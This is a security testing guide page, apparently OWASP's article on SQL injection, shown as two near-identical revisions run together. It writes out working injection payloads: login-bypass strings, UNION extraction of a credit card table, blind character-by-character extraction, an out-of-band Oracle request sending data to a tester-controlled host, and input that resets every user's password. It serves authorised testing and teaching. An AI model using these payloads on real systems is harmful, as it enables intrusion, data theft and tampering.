suppose that it contains a parameter named id vulnerable to SQL injection. This
means that carrying out the following request:

<pre>http://www.example.com/index.php?id=1'</pre>

we will get one page with a custom message error which
is due to a syntactic error in the query. We suppose that the query executed on
the server is:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
</pre>

which is exploitable through the methods seen previously.
What we want to obtain is the values of the username field. The tests that we
will execute will allow us to obtain the value of the username field,
extracting such value character by character. This is possible through the use
of some standard functions, present practically in every database. For our
examples, we will use the following pseudo-functions:

'''SUBSTRING (text, start, length)''': it returns a
substring starting from the position "start" of text and of length
"length". If "start" is greater than the length of text,
the function returns a null value.

'''ASCII (char)''': it gives back ASCII value of the input character. A
null value is returned if char is 0.

'''LENGTH (text)''': it gives back the length in characters of the input
text.

Through such functions, we will execute our tests on
the first character and, when we have discovered the value, we will pass to the
second and so on, until we will have discovered the entire value. The tests
will take advantage of the function SUBSTRING, in order to select only one
character at a time (selecting a single character means to impose the length
parameter to 1), and the function ASCII, in order to obtain the ASCII value, so
that we can do numerical comparison. The results of the comparison will be done
with all the values of the ASCII table, until the right value is found. As an
example, we will use the following value for ''Id'':

<pre>$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
</pre>

that creates the following query (from now on, we will
call it "inferential query"):

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
</pre>

The previous example returns a result if and only if
the first character of the field username is equal to the ASCII value 97. If we
get a false value, then we increase the index of the ASCII table from 97 to 98
and we repeat the request. If instead we obtain a true value, we set to zero
the index of the ASCII table and we analyze the next character, modifying the
parameters of the SUBSTRING function. The problem is to understand in which way
we can distinguish tests returning a true value from those that return false.
To do this, we create a query that always returns false. This is possible by
using the following value for ''Id'':

<pre>$Id=1' AND '1' = '2
</pre>

by which will create the following query:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
</pre>

The obtained response from the server (that is HTML
code) will be the false value for our tests. This is enough to verify whether
the value obtained from the execution of the inferential query is equal to the
value obtained with the test executed before. Sometimes, this method does not
work. If the server returns two different pages as a result of two identical
consecutive web requests, we will not be able to discriminate the true value
from the false value. In these particular cases, it is necessary to use
particular filters that allow us to eliminate the code that changes between the
two requests and to obtain a template. Later on, for every inferential request
executed, we will extract the relative template from the response using the
same function, and we will perform a control between the two templates in order
to decide the result of the test.

In the previous discussion, we haven't dealt with the
problem of determining the termination condition for out tests, i.e., when we
should end the inference procedure. A techniques to do
this uses one characteristic of the SUBSTRING function and the LENGTH function.
When the test compares the current character with the ASCII code 0 (i.e., the
value null) and the test returns the value true, then either we are done with
the inference procedue (we have scanned the whole
string), or the value we have analyzed contains the null character.

We will insert the following value for the field ''Id'':

<pre>$Id=1' AND LENGTH(username)=N AND '1' = '1
</pre>

Where N is the number of characters that we have
analyzed up to now (not counting the null value). The query will be:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
</pre>

The query returns either true or false. If we obtain
true, then we have completed inference and, therefore, we know the value of the
parameter. If we obtain false, this means that the null character is present in
the value of the parameter, and we must continue to analyze the next parameter
until we find another null value.

The blind SQL injection attack needs a high volume of
queries. The tester may need an automatic tool to exploit the vulnerability.

=== Error based Exploitation technique ===

The Error based
exploitation technique is useful when the tester for some reason can’t exploit
the SQL injection vulnerability using other technique such as UNION. The Error
based technique consists in forcing the database to perform some operation in
which the result will be an error. The point here is to try to extract some
data from the database and show it in the error message. This exploitation
technique can be different from DBMS to DBMS (check DBMS specific session).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. Oracle 10g):

<pre>http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--</pre>

In this
example, the tester is concatenating the value 10 with the result of the
function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the
hostname of the parameter passed to it, which is other query, the name of the
user. When the database looks for a hostname with the user database name, it
will fail and return an error message like:

<pre>ORA-292257:
host SCOTT unknown</pre>

Then the tester
can manipulate the parameter passed to GET_HOST_NAME()
function and the result will be shown in the error message.

=== Out of band Exploitation technique ===

This technique
is very useful when the tester find a [[Blind SQL Injection]] situation, in
which nothing is known on the outcome of an operation. The technique consists in
the use of DBMS functions to perform an out of band connection and deliver the
results of the injected query as part of the request to the tester’s server.

Like the error
based techniques, each DBMS has its own functions. Check for specific DBMS
section.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be:

<pre>http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--</pre>

In this
example, the tester is concatenating the value 10 with the result of the
function UTL_HTTP.request. This Oracle function will
try to connect to ‘testerserver’ and make a HTTP GET
request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver
(e.g. Apache) or use the Netcat tool:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close

=== Time day Exploitation technique ===

The Boolean
exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in
which nothing is known on the outcome of an operation. This technique consists
in sending an injected query and in case the conditional is true, the tester
can monitor the time taken to for the server to respond. If there is a delay,
the tester can assume the result of the conditional query is true. This
exploitation technique can be different from DBMS to DBMS (check DBMS specific
session)

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. MySql 5.x):

<pre>http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--</pre>

In this example
the tester if checking whether the MySql version is
5.x or not, making the server to delay the answer in 5 seconds. The tester can
increase the delay’s time and monitor the responses. The tester also doesn’t
need to wait for the response. Sometimes he can set a very high value (e.g.
100) and cancel the request after some seconds.

=== Stored Procedure Injection ===

When using dynamic SQL within a stored procedure, the application must
properly sanitize the user input to eliminate the risk of code injection. If
not sanitized, the user could enter malicious SQL that will be executed within
the stored procedure.

Consider the following '''SQL Server Stored Procedure:'''

Create
procedure user_login @username varchar(20), @passwd varchar(20) As

Declare @sqlstring varchar(250)

Set @sqlstring = ‘

Select 1
from users

Where
username = ‘ + @username + ‘ and passwd
= ‘ + @passwd

exec(@sqlstring)
Go
User input:
anyusername or 1=1'
anypassword

This procedure does not sanitize the input, therefore allowing the
return value to show an existing record with these
parameters. 
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a
user, but consider a dynamic reporting query where the user selects the columns
to view. The user could insert malicious code into this scenario and compromise
the data. 
Consider the following '''SQL Server Stored Procedure:'''

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go

User input:

1 from
users; update users set password = 'password'; select *

This will result in the report running and all users’ passwords being
updated.

=== Automated Exploitation ===

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap

== Related Articles ==

* [[Top 10 2010-Injection Flaws]]
* [[SQL Injection]]

Technology specific Testing Guide pages have been created for the following DBMSs:

* [[Testing for Oracle| Oracle]]
* [[Testing for MySQL| MySQL]]
* [[Testing for SQL Server | SQL Server]]

== References ==

'''Whitepapers''' 

* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - http://www.thomascookegypt.com/holidays/pdfpkgs/931.pdf
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* Kevin Spett from SPI Dynamics: "SQL Injection" - http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf

'''Tools''' 
* SQL Injection Fuzz Strings (from wfuzz tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/SQL.txt
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector] 
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools] 
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper] 
* http://sqlsus.sourceforge.net
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl

Testing for SQL Injection (OTG-INPVAL-005)

2012-11-21T23:07:44Z

Ismael Rocha: Testing for SQL Injection Testing Guide v4 draft

{{Template:OWASP Testing Guide v4}}

==Brief Summary ==

An [[SQL injection]] attack consists of insertion or
"injection" of a SQL query via the input data from the client to the
application. A successful SQL injection exploit can read sensitive data from
the database, modify database data (insert/update/delete), execute
administration operations on the database (such as shutdown the DBMS), recover
the content of a given file existing on the DBMS file system or write files into
the file system, and, in some cases, issue commands to the operating system.
SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to
affect the execution of predefined SQL commands.

==Description of the Issue ==

In general the way web
applications construct SQL statements involving SQL syntax wrote by the
programmers mixed with user-supplied data. Example:

select title, text from news where id=$id

The red part is the SQL static
part supplied by the programmer and the variable $id contains user-supplied
data, making the SQL statement dynamic.

Because the way it was
constructed, the user can supply crafted input trying to make the original SQL
statement execute commands at user’s behavior. The example illustrates the
user-supplied data “10 or 1=1”, changing the logic of the SQL statement,
modifying the WHERE clause adding a condition “or 1=1”.

select title, text from news where id=10 or 1=1

SQL Injection attacks can
be divided into the following three classes:

* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
* Inferential: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

Independent of the attack
class, a successful SQL Injection attack requires the attacker to craft a
syntactically correct SQL Query. If the application returns an error message
generated by an incorrect query, then it is easy to reconstruct the logic of
the original query and, therefore, understand how to perform the injection
correctly. However, if the application hides the error details, then the tester
must be able to reverse engineer the logic of the original query. The latter
case is known as "[[Blind SQL Injection]]".

About the techniques to
exploit SQL injection flaws there are five commons techniques. Also those
techniques sometimes can be used in a combined way (e.g. union operator and
out-of-band):

* Union Operator: usually can be used when the SQL injection flaw happens in a SELECT statement, making possible to combine two queries into a single result.
* Boolean: use Boolean condition to verify if certain conditions are true or false.
* Error based: this technique forces the database to generate an error making
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It useful when attacker doesn’t have some kind of answer from the application.

==SQL Injection Detection ==

The first step in this test is to understand when the
application connects to a DB Server in order to access some data. Typical
examples of cases when an application needs to talk to a DB include:

* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes)
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database
* E-Commerce sites: the products and their characteristics (price, description, availability etc) are very likely to be stored in a relational database.

The tester has to make a list of all input fields
whose values could be used in crafting a SQL query, including the hidden fields
of POST requests and then test them separately, trying to interfere with the
query and to generate an error. Consider also HTTP headers and Cookies. The
very first test usually consists of adding a single quote (') or a semicolon
(;) to the field under test. The first is used in SQL as a string terminator
and, if not filtered by the application, would lead to an incorrect query. The
second is used to end a SQL statement and, if it is not filtered, it is also
likely to generate an error. The output of a vulnerable field might resemble
the following (on a Microsoft SQL Server, in this case):

<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
</pre>

<pre>/target/target.asp, line 113
</pre>

Also comments (--) and other SQL keywords like 'AND'
and 'OR' can be used to try to modify the query. A very simple but sometimes
still effective technique is simply to insert a string where a number is
expected, as an error like the following might be generated:

<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113
</pre>

Monitor all the responses from the web server and have
a look at the HTML/javascript source code. Sometimes
the error is present inside them but for some reason (e.g. javascript
error) is not presented to the user. A full error message, like those in the
examples, provides a wealth of information to the tester in order to mount a
successful injection. However, applications often do not provide so much
detail: a simple '500 Server Error' or a custom error page might be issued,
meaning that we need to use blind injection techniques. In any case, it is very
important to test each field separately: only one variable must vary while all
the other remain constant, in order to precisely understand which parameters
are vulnerable and which are not.

=== Standard SQL Injection Testing ===

Example 1 (classical SQL Injection):

Consider the following SQL query:

<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'</pre>

A similar query is generally used from the web
application in order to authenticate a user. If the query returns a value it
means that inside the database a user with that
credentials exists, then the user is allowed to login to the system, otherwise
the access is denied. The values of the input fields are generally obtained
from the user through a web form. Suppose we insert the following Username and
Password values:

<pre>$username = 1' or '1' = '1</pre>

<pre>$password = 1' or '1' = '1</pre>

The query will be:

<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' </pre>

If we suppose that the values of the parameters are
sent to the server through the GET method, and if the domain of the vulnerable
web site is www.example.com, the request that we'll carry out will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1
</pre>

After a short analysis we notice that the query
returns a value (or a set of values) because the condition is always true (OR
1=1). In this way the system has authenticated the user without knowing the
username and password. ''In some systems the first row of a user table would be an administrator
user. This may be the profile returned in some cases.'' Another example of
query is the following:

<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))
</pre>

In this case, there are two problems, one due to the
use of the parentheses and one due to the use of MD5 hash function. First of
all, we resolve the problem of the parentheses. That simply consists of adding
a number of closing parentheses until we obtain a corrected query. To resolve
the second problem, we try to invalidate the second condition. We add to our
query a final symbol that means that a comment is beginning. In this way,
everything that follows such symbol is considered a comment. Every DBMS has its
own symbols of comment, however, a common symbol to the greater part of the
database is /*. In Oracle the symbol is "--". This said, the values
that we'll use as Username and Password are:

<pre>$username = 1' or '1' = '1'))/*
</pre>

<pre>$password = foo
</pre>

In this way, we'll get the following query:

<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))
</pre>

The URL request will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo
</pre>

This returns a number of values. Sometimes, the
authentication code verifies that the number of returned tuple
is exactly equal to 1. In the previous examples, this situation would be
difficult (in the database there is only one value per user). In order to go
around this problem, it is enough to insert a SQL command that imposes the
condition that the number of the returned tuple must
be one. (One record returned) In order to reach this goal, we use the operator
"LIMIT <num>", where <num> is the number of the tuples that we expect to be returned. With respect to the
previous example, the value of the fields Username and
Password will be modified as follows:

<pre>$username = 1' or '1' = '1')) LIMIT 1/*
</pre>

<pre>$password = foo
</pre>

In this way, we create a request like the follow:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo
</pre>

Example 2 (simple SELECT statement):

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

When the tester
try a valid value (e.g. 10 in this case), the application will return the
description of a product.
A good way to test if the application is vulnerable in this scenario
is play with logic, using the operators AND and OR.

Consider the request:

<pre>http://www.example.com/product.php?id=10 AND 1=2</pre>

SELECT * FROM products WHERE id_product=10
AND 1=2

In this case, probably the application would return
some message telling us there is no content available or a blanket page. Then
the tester can send a true statement and check if there is a valid result:

<pre>http://www.example.com/product.php?id=10 AND 1=1</pre>

This second example can also be used to test Blind Sql Injection.

Example 3 (Stacked queries):

Depending on the API which the web application is using
and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) is possible to
execute multiple queries in one call.

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

A way to exploit the above scenario would be:

<pre>http://www.example.com/product.php?id=10; INSERT INTO users (…)</pre>

This way is possible to execute many queries in a row
and independent on the first query.

=== Fingerprinting the Database ===

Even the SQL language is a standard,
every DBMS has its peculiarity and differs from each other in many aspects like
especial commands, functions to retrieve data such as users names and
databases, features, comments line etc.

When the testers move to a more advanced SQL injection
exploitation they need to know the backend.

1) The first way to find out which is the backend is by
observing the error returned by the application. Follow are some examples:

MySql:

You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1

Oracle:

ORA-00933: SQL command not properly ended

SQL Server:

Microsoft SQL Native Client error ‘80040e14’

Unclosed quotation mark after the character string

PostgreSQL:

Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.

2) If there is no error message or a custom error message,
the tester can try to inject into string field using concatenation technique:

MySql: ‘test’ + ‘ing’

SQL Server: ‘test’ ‘ing’

Oracle: ‘test’||’ing’

PostgreSQL: ‘test’||’ing’

==Exploitation techniques ==

=== Union Exploitation technique ===

The UNION operator is used
in SQL injections to join a query, purposely forged by the tester, to the
original query. The result of the forged query will be joined to the result of
the original query, allowing the tester to obtain the values of fields of other
tables. We suppose for our examples that the query executed from the server is
the following:

SELECT
Name, Phone, Address FROM Users WHERE Id=$id

We will set the following
Id value:

$id=1
UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

We will have the following
query:

SELECT
Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

which will join the result of the original query
with all the credit card users. The keyword '''ALL''' is necessary to get
around queries that use the keyword DISTINCT. Moreover, we notice that beyond
the credit card numbers, we have selected other two values. These two values
are necessary, because the two query must have an
equal number of parameters, in order to avoid a syntax error.

The first
information the tester need to exploit the SQL injection vulnerability using
such technique is to find the right numbers of columns in the SELECT statement.

In order to
achieve it the tester can use ORDER BY clause followed by a number indicating
the numeration of database’s column selected:

<pre>http://www.example.com/product.php?id=10 ORDER BY 10--</pre>

If the query executes with success the tester will see
the tester can assume, in this example, there are 10 or more columns in the
SELECT statement. If the query fails and there is an error message available
probably it would be:

Unknown column '10' in 'order clause'

After the tester find out the numbers of columns, the
next step is to find out the type of columns. Assuming there were 3 columns in
the example above, the tester could try each column type, using the NULL value
to help them:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,null, null--</pre>

If the query fails, probably the tester will see a
message like:

All cells in a column must have the same datatype

If the query executes with success, the first column
can be an integer. Then the tester can move further and so on:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--</pre>

After the success exploitation, depending on the
application, it will show to the tester only the first result, because the
application treats only the first line of the result. In this case, it is
possible to use LIMIT like clause or the tester can set an invalid value,
making only the second line valid (supposing there is no entry in the database
which ID is 99999):

<pre>http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--</pre>

=== Boolean Exploitation technique ===

The Boolean exploitation technique is very useful when
the tester find a [[Blind SQL Injection]] situation, in
which nothing is known on the outcome of an operation. For example, this
behavior happens in cases where the programmer has created a custom error page
that does not reveal anything on the structure of the query or on the database.
(The page does not return a SQL error, it may just
return a HTTP 500). 
By using the inference methods, it is possible to avoid this obstacle and thus
to succeed to recover the values of some desired fields. This method consists
of carrying out a series of boolean
queries to the server, observing the answers and finally deducing the meaning
of such answers. We consider, as always, the www.example.com domain and we
suppose that it contains a parameter named id vulnerable to SQL injection. This
means that carrying out the following request:

<pre>http://www.example.com/index.php?id=1'</pre>

we will get one page with a custom message error which
is due to a syntactic error in the query. We suppose that the query executed on
the server is:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
</pre>

which is exploitable through the methods seen previously.
What we want to obtain is the values of the username field. The tests that we
will execute will allow us to obtain the value of the username field,
extracting such value character by character. This is possible through the use
of some standard functions, present practically in every database. For our
examples, we will use the following pseudo-functions:

'''SUBSTRING (text, start, length)''': it returns a
substring starting from the position "start" of text and of length
"length". If "start" is greater than the length of text,
the function returns a null value.

'''ASCII (char)''': it gives back ASCII value of the input character. A
null value is returned if char is 0.

'''LENGTH (text)''': it gives back the length in characters of the input
text.

Through such functions, we will execute our tests on
the first character and, when we have discovered the value, we will pass to the
second and so on, until we will have discovered the entire value. The tests
will take advantage of the function SUBSTRING, in order to select only one
character at a time (selecting a single character means to impose the length
parameter to 1), and the function ASCII, in order to obtain the ASCII value, so
that we can do numerical comparison. The results of the comparison will be done
with all the values of the ASCII table, until the right value is found. As an
example, we will use the following value for ''Id'':

<pre>$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
</pre>

that creates the following query (from now on, we will
call it "inferential query"):

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
</pre>

The previous example returns a result if and only if
the first character of the field username is equal to the ASCII value 97. If we
get a false value, then we increase the index of the ASCII table from 97 to 98
and we repeat the request. If instead we obtain a true value, we set to zero
the index of the ASCII table and we analyze the next character, modifying the
parameters of the SUBSTRING function. The problem is to understand in which way
we can distinguish tests returning a true value from those that return false.
To do this, we create a query that always returns false. This is possible by
using the following value for ''Id'':

<pre>$Id=1' AND '1' = '2
</pre>

by which will create the following query:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
</pre>

The obtained response from the server (that is HTML
code) will be the false value for our tests. This is enough to verify whether
the value obtained from the execution of the inferential query is equal to the
value obtained with the test executed before. Sometimes, this method does not
work. If the server returns two different pages as a result of two identical
consecutive web requests, we will not be able to discriminate the true value
from the false value. In these particular cases, it is necessary to use
particular filters that allow us to eliminate the code that changes between the
two requests and to obtain a template. Later on, for every inferential request
executed, we will extract the relative template from the response using the
same function, and we will perform a control between the two templates in order
to decide the result of the test.

In the previous discussion, we haven't dealt with the
problem of determining the termination condition for out tests, i.e., when we
should end the inference procedure. A techniques to do
this uses one characteristic of the SUBSTRING function and the LENGTH function.
When the test compares the current character with the ASCII code 0 (i.e., the
value null) and the test returns the value true, then either we are done with
the inference procedue (we have scanned the whole
string), or the value we have analyzed contains the null character.

We will insert the following value for the field ''Id'':

<pre>$Id=1' AND LENGTH(username)=N AND '1' = '1
</pre>

Where N is the number of characters that we have
analyzed up to now (not counting the null value). The query will be:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
</pre>

The query returns either true or false. If we obtain
true, then we have completed inference and, therefore, we know the value of the
parameter. If we obtain false, this means that the null character is present in
the value of the parameter, and we must continue to analyze the next parameter
until we find another null value.

The blind SQL injection attack needs a high volume of
queries. The tester may need an automatic tool to exploit the vulnerability.

=== Error based Exploitation technique ===

The Error based
exploitation technique is useful when the tester for some reason can’t exploit
the SQL injection vulnerability using other technique such as UNION. The Error
based technique consists in forcing the database to perform some operation in
which the result will be an error. The point here is to try to extract some
data from the database and show it in the error message. This exploitation
technique can be different from DBMS to DBMS (check DBMS specific session).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. Oracle 10g):

<pre>http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--</pre>

In this
example, the tester is concatenating the value 10 with the result of the
function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the
hostname of the parameter passed to it, which is other query, the name of the
user. When the database looks for a hostname with the user database name, it
will fail and return an error message like:

ORA-292257:
host SCOTT unknown

Then the tester
can manipulate the parameter passed to GET_HOST_NAME()
function and the result will be shown in the error message.

=== Out of band Exploitation technique ===

This technique
is very useful when the tester find a [[Blind SQL Injection]] situation, in
which nothing is known on the outcome of an operation. The technique consists in
the use of DBMS functions to perform an out of band connection and deliver the
results of the injected query as part of the request to the tester’s server.

Like the error
based techniques, each DBMS has its own functions. Check for specific DBMS
section.

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be:

<pre>http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--</pre>

In this
example, the tester is concatenating the value 10 with the result of the
function UTL_HTTP.request. This Oracle function will
try to connect to ‘testerserver’ and make a HTTP GET
request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver
(e.g. Apache) or use the Netcat tool:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1

Host: testerserver.com

Connection: close

=== Time day Exploitation technique ===

The Boolean
exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in
which nothing is known on the outcome of an operation. This technique consists
in sending an injected query and in case the conditional is true, the tester
can monitor the time taken to for the server to respond. If there is a delay,
the tester can assume the result of the conditional query is true. This
exploitation technique can be different from DBMS to DBMS (check DBMS specific
session)

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. MySql 5.x):

<pre>http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--</pre>

In this example
the tester if checking whether the MySql version is
5.x or not, making the server to delay the answer in 5 seconds. The tester can
increase the delay’s time and monitor the responses. The tester also doesn’t
need to wait for the response. Sometimes he can set a very high value (e.g.
100) and cancel the request after some seconds.

=== Stored Procedure Injection ===

When using dynamic SQL within a stored procedure, the application must
properly sanitize the user input to eliminate the risk of code injection. If
not sanitized, the user could enter malicious SQL that will be executed within
the stored procedure.

Consider the following '''SQL Server Stored Procedure:'''

Create
procedure user_login @username varchar(20), @passwd varchar(20) As

Declare @sqlstring varchar(250)

Set @sqlstring = ‘

Select 1
from users

Where
username = ‘ + @username + ‘ and passwd
= ‘ + @passwd

exec(@sqlstring)
Go
User input:
anyusername or 1=1'
anypassword

This procedure does not sanitize the input, therefore allowing the
return value to show an existing record with these
parameters. 
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a
user, but consider a dynamic reporting query where the user selects the columns
to view. The user could insert malicious code into this scenario and compromise
the data. 
Consider the following '''SQL Server Stored Procedure:'''

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go

User input:

1 from
users; update users set password = 'password'; select *

This will result in the report running and all users’ passwords being
updated.

=== Automated Exploitation ===

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester
can find information how to perform an automated auditing using SQLMap.

https://www.owasp.org/index.php/Automated_Audit_using_SQLMa

== Related Articles ==

* [[Top 10 2007-Injection Flaws]]
* [[SQL Injection]]

Technology specific Testing Guide pages have been created for the following DBMSs:

* [[Testing for Oracle| Oracle]]
* [[Testing for MySQL| MySQL]]
* [[Testing for SQL Server | SQL Server]]

== References ==

'''Whitepapers''' 

* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - http://www.thomascookegypt.com/holidays/pdfpkgs/931.pdf
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* Kevin Spett from SPI Dynamics: "SQL Injection" - http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf

'''Tools''' 
* SQL Injection Fuzz Strings (from wfuzz tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/SQL.txt
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector] 
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools] 
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
